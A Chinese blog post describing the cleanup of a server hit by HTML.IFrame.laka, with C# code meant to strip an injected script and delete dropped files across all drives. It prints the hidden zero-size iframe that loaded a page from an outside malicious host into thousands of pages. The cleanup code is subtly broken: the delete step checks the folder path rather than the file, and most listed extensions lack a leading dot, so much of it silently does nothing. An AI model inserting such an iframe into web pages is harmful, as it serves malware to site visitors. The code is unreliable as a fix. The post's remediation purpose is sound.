服务器中毒 HTML.IFrame.laka

背景:

  最近客户反应,站点部分功能无法正常使用。原来我打开看了之后,发现每个aspx页面尾部添加了这样一行代码。

<iframe src="http://www.xinxinbaidu.com.cn/htm/mm.htm" width=0 height=0></iframe>

而且几乎每个文件下,多了一个Desktop_1.ini。有些地方还有cool_gamesetup.exe程序存在。二话不说,赶紧装了杀毒软件进行杀毒,杀毒软件将这些中毒文件全部找到了,处理方式是直接删除文件。服务器上有大约9000+个网页类文件都被添加了该恶意代码,又不能直接删除,于是采用程序的方式,首先删除这些病毒特征,再用360全盘扫描。

资源下载:

  源代码

开发思路:

  遍历磁盘驱动器,递归遍历子文件夹,将子文件夹网页类文件中的错误代码移除,同时检查是否存在需要删除的文件(Desktop_1.ini和 cool_gamesetup.exe),并将其删除。在实际操作过程中发现Desktop_1.ini是只读文件,禁止被删除的,首先需要将该文件设置为可读可写,再将其删除。最后的效果则是,基本上需要的文件都没有删除。

代码如下:

/* ==============================================================================
   * 文 件 名:Program
   * 功能描述:
   * Copyright (c) 2013 武汉经纬视通科技有限公司
   * 创 建 人: alone
   * 创建时间: 2013/3/24 21:13:47
   * 修 改 人: 
   * 修改时间: 
   * 修改描述: 
   * 版    本: v1.0.0.0
   * ==============================================================================*/
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;

namespace HTML_IFrame_laka文件还原
{
    class Program
    {
        public static string[] files;//需要删除的文件
        public static string[] exts;//需要替换错误代码的文件后缀
        //错误代码
        public static string errorCode = "<iframe src=\"http://www.xinxinbaidu.com.cn/htm/mm.htm\" width=0 height=0></iframe>";
        public static string logName;//日志文件

        static void Main(string[] args)
        {
            //设置参数
            logName = ".//" + DateTime.Now.ToString("yyyy年MM月dd日") + ".log";
            files = new string[] { "Desktop_1.ini", "cool_gamesetup.exe" };
            exts = new string[] { ".aspx", "jsp", "html", "htm", "shtml" };
            //遍历驱动器 
            var drives = Directory.GetLogicalDrives();
            foreach (var drive in drives)
            {
                Handle(drive);
            }
            Console.WriteLine("程序处理完毕");
        }

        static void Handle(string path)
        {
            Console.WriteLine("处理目录 " + path);
            //移除文件中的错误代码
            var files = Directory.GetFiles(path);
            foreach (var file in files)
            {
                var currExt = Path.GetExtension(file);
                foreach (var ext in Program.exts)
                {
                    if (ext == currExt)
                    {
                        try
                        {
                            //获取该文件的编码 用该编码进行文件读写
                            var encode = TxtFileEncoding.GetEncoding(file);
                            var content = File.ReadAllText(file, encode);
                            if (content.Contains(errorCode))
                            {
                                content = content.Replace(errorCode, string.Empty);
                                File.WriteAllText(file, content, encode);
                                Console.WriteLine("修改成功 文件编码:{0} 文件路径:{1}", encode.BodyName, file);
                            }
                        }
                        catch (Exception e)
                        {
                            Console.WriteLine("修改失败 {0}  {1}", file, e.Message);
                            Write(e.Message);
                        }
                    }
                }
            }
            //删除指定文件
            foreach (var file in Program.files)
            {
                var deleteFile = Path.Combine(path, file);
                if (File.Exists(path))
                {
                    FileInfo flDeleteFile = new FileInfo(Path.Combine(path, file));
                    flDeleteFile.IsReadOnly = false;
                    flDeleteFile.Attributes = FileAttributes.Normal;
                    flDeleteFile.Delete();
                    Console.WriteLine("删除{0}成功", file);
                }
            }
            //递归文件夹
            var dirs = Directory.GetDirectories(path);
            foreach (var dir in dirs)
            {
                try
                {
                    Handle(dir);
                }
                catch (Exception e)
                {
                    Console.WriteLine("目录处理失败 {0}", dir);
                    Write(e.Message);
                }
            }
        }

        static void Write(string msg)
        {
            var content = new StringBuilder();
            content.AppendLine("【记录时间】" + DateTime.Now.ToString());
            content.AppendLine("【错误信息】" + msg);
            File.AppendAllText(logName, content.ToString() + Environment.NewLine);
        }
    }
}

更新:

  1.读取文件的编码,使用该编码进行读写,避免乱码。(2013-03-25)

 

 

  希望能帮到那些在服务器上遇到同样问题的人。

 

你可能感兴趣的:(iframe)